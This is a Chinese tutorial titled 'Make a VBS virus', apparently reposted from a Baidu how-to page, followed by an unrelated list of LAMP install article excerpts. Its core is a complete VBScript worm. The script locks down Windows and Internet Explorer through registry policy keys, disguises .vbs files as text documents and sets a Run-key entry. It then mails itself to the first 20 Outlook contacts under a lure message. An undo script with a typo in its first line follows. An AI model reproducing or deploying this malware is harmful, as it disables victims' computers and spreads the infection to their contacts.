制作一个VBS病毒

article/2025/9/23 4:31:18

在这里给大家制作一个VBS病毒,还望大家笑纳。

(后面还会说解毒VBS代码)

工具/原料

  • 电脑

方法/步骤

  1. 首先创建VBS文档。

    制作一个VBS病毒

  2. 右键编辑,进入记事本。

    制作一个VBS病毒

  3. 输入如下代码:

    On Error Resume Next

    Set fs=CreateObject("Scripting.FileSystemObject")

    Set dir1=fs.GetSpecialFolder(0)

    Set dir2=fs.GetSpecialFolder(1)

    Set so=CreateObject("Scripting.FileSystemObject")

    dim r

    Set r=CreateObject("Wscript.Shell")

    r.Regwrite "HKLM\Software\classes\vbsfile\defaulticon\","shell32.dll,-152"

    r.Regwrite "HKLM\Software\classes\vbsfile\","文本文档"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"

    r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"

    r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"

    r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"

    r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","你好!"

    r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","你的电脑已经毁掉。请立即更新。"

    Set ol=CreateObject("Outlook.Application")

    On Error Resume Next

    For x=1 To 20

    Set Mail=ol.CreateItem(0)

    Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)

    Mail.Subject="你没事吧?"

    Mail.Body="我给你发了一个邮件,里面有妙方。"

    Mail.Attachments.Add(dir2&"Win32system.vbs")

    Mail.Send

    Next

    ol.Quit

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"

    r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","https://www.baidu.com/"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"

    制作一个VBS病毒

  4. 关闭保存。

  5. 新建解毒.VBS 。

    制作一个VBS病毒

  6. 输入如下代码:

    et fs=CreateObject("Scripting.FileSystemObject")

    Set dir1=fs.GetSpecialFolder(0)

    Set dir2=fs.GetSpecialFolder(1)

    Set so=CreateObject("Scripting.FileSystemObject")

    dim r

    Set r=CreateObject("Wscript.Shell")

    r.Regwrite "HKLM\Software\classes\vbsfile\defaulticon\",dir1&"\wscript.exe,2"

    r.Regwrite "HKLM\Software\classes\vbsfile\","VBScript Script file"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"

    r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry","scanregw.exe /autorun"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",0,"REG_DWORD"

    r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system",""

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",0,"REG_DWORD"

    r.Regwrite "HKLM\Software\CLASSES\.reg\","regfile"

    r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption",""

    r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText",""

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",0,"REG_DWORD"

    r.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",0,"REG_DWORD"

    r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",0,"REG_DWORD"

  7. 7

    保存。

转载原文地址:https://jingyan.baidu.com/article/e6c8503c5b9a91e54f1a1899.html

 


http://chatgpt.dhexx.cn/article/GXaZ5bp0.shtml

相关文章

LAMP 安装部署

LAMP 安装部署 准备好一台虚拟机网络一切正常 开始安装apache mysql php 启动mysql和apache以及php 书写php测试页:【vim /var/www/html/index.php】 重启apache 进入浏览器测试是否出现php测试页

CentOS中LAMP的安装

1.安装LAMP时应先安装相应的安装包,安装httpd mariadb mariadb-server php php-mysql。即在命令端输入 yum install httpd yum install mariadb yum install mariadb-server yum install php yum install php-mysql 2.随后输入下面的命令启动服务。 启动…

LAMP YUM安装配置实战

今天继续给大家介绍Linux运维的相关知识,本文主要内容是LAMP的YUM安装与配置实战。 一、YUM源配置 在进行本次实验之前,我们先要对设备的YUM源进行配置,在本次实验中,我们使用的YUM源是阿里云的YUM源,该YUM源下载地址…

centos7安装LAMP

前言 作者简介:不知名白帽,网络安全学习者。 博客主页:https://blog.csdn.net/m0_63127854?typeblog 内网渗透专栏:https://blog.csdn.net/m0_63127854/category_11885934.html 网络安全交流社区:https://bbs.csdn.ne…

Linux安装LAMP

最近学习虚拟机Linux,然后在上面配置了LAMP环境,我安装的是centos7.0版本的linux系统,下面我就将我的安装过程及步骤分享给大家。 yum -y update //升级所有包的同时,也升级软件和系统内核 yum -y upgrade //只升级…

LAMP源码安装配置实战

今天继续给大家介绍Linux运维相关知识,本文主要内容是LAMP源码部署实战。 阅读本文,您需要对Linux源码安装有一定的了解,如果您对此还存在困惑,欢迎查阅我博客内的其他文章,相信您一定会有所收获! LAMP源码…

Ubuntu安装LAMP

在安装vim时遇到了一个问题: E: 无法获得锁 /var/lib/dpkg/lock-frontend - open (11: 资源暂时不可用) E: 无法获取 dpkg 前端锁 (/var/lib/dpkg/lock-frontend),是否有其他进程正占用它? 解决办法:强制解锁 sudo rm /var/li…

Lamp安装wordpress(博客系统)

安装环境 服务器集群单节点,机器最低配置:双核 CPU、4GB 内存、20G 硬盘运行环境CentOS 7.4服务和组件php、httpd、mysql;wordpress-4.7.3-zh_CN.zipls 安装过程 步骤一:使用yum命令安装php、HTTP、mysql服务 yum install -y …

安装lamp服务器系统,LAMP安装环境搭建详解

实现LAMP 1.LAMP工作原理 LAMP是一个强大的Web应用程序平台,其中L是指linux系统;A是指apache也就是http;M一般是MySQL/mariadb数据库;P一般是php, perl, Python其中之一。 工作过程: 1》当客户端请求的是静态资源时,web服务器会直…

bitnami-lamp安装教程

准备工作 官网下载地址 下载 bitnami-lampstack-8.0.3-2-linux-x64-installer.run 软件包官网下载地址 工具包:bitnami-wordpress-5.7.1-0-module-linux-x64-installer.run (个人博客 可选别的) 1.安装lamp 先用工具传入linux下,找到文件路径 ps&…

lamp安装操作讲解

1. lamp简介 有了前面学习的知识的铺垫,今天可以来学习下第一个常用的web架构了。 所谓lamp,其实就是由LinuxApacheMysql/MariaDBPhp/Perl/Python的一组动态网站或者服务器的开源软件,除Linux外其它各部件本身都是各自独立的程序&#xff0c…

LAMP安装

目录 一、LAMP架构介绍 LAMP概述 (平台)Linux (前台)Apache (后台)MySQL (中间连接)PHP/Perl/Python LAMP各组件安装顺序 二、编译安装Apache httpd服务 1.关闭防火墙,将安装Apache所需软件包传到/opt目录下 2.安装环境依赖包 3.配置软件模块 4.编译及安…

LAMP源码编译安装之Apache

LAMP源码编译安装之Apache 一.LAMP的基本架构概述1.LAMP架构2.各组件的主要作用如下 二.编译安装Apache httpd服务1.关闭防火墙,将安装Apache所需软件包传到/opt目录下2.安装环境依赖包3.配置软件模块4.编译及安装5.优化配置文件路径6.添加httpd系统服务7.修改httpd…

LAMP-手动架构部署

1. lamp简介 有了前面学习的知识的铺垫,今天可以来学习下第一个常用的web架构了。 所谓lamp,其实就是由Linux+Apache+Mysql/MariaDB+Php/Perl/Python的一组动态网站或者服务器的开源软件,除Linux外其它各部件本身都是各自独立的程序,但是因为经常被放在一起使用,拥有了越…

搭建LAMP架构 (百分百成功)

1.LAMP的含义 2.各自含义的作用 3.搭建LAMP所需要的环境 4.安装步骤 LAMP的含义: L:代表的是Linux操作系统 A:代表的是httpd服务,对外提供的网站 M:代表的是网站后台所使用的mysql数据库服务 P:代表的是php语言 各自含义的作用: Linux就不…

LAMP环境搭建

前言 一、在虚拟机上安装Linux系统 二、安装Apache 1.下载好后,看了看版本,不是太老,就没有继续安装。 2.开启Apache服务 3.设置Apache开机启动服务 4.尝试一下是否启动了服务(访问虚拟机IP) 三、安装mysql 1.…

LAMP安装详细教程

准备: 一台CentOS 7 虚拟机 yum更新完毕! 打开终端 第一步:systemctl stop firewalld //关闭防火墙 第二步:systemctl disable firewalld //禁用防火墙 第三步:yum install httpd //下载apache systemctl sta…

backtracking及其应用

文章目录 应用场景N-QueensPermutationsPermutations II 参考资料 backtracking(回溯法)是一种算法,主要用来解决带限制条件的计算问题( CSP)。 特点如下: 和暴力匹配算法一样,会尝试所有的可能性。比暴力匹配算法好,会在尝试的过…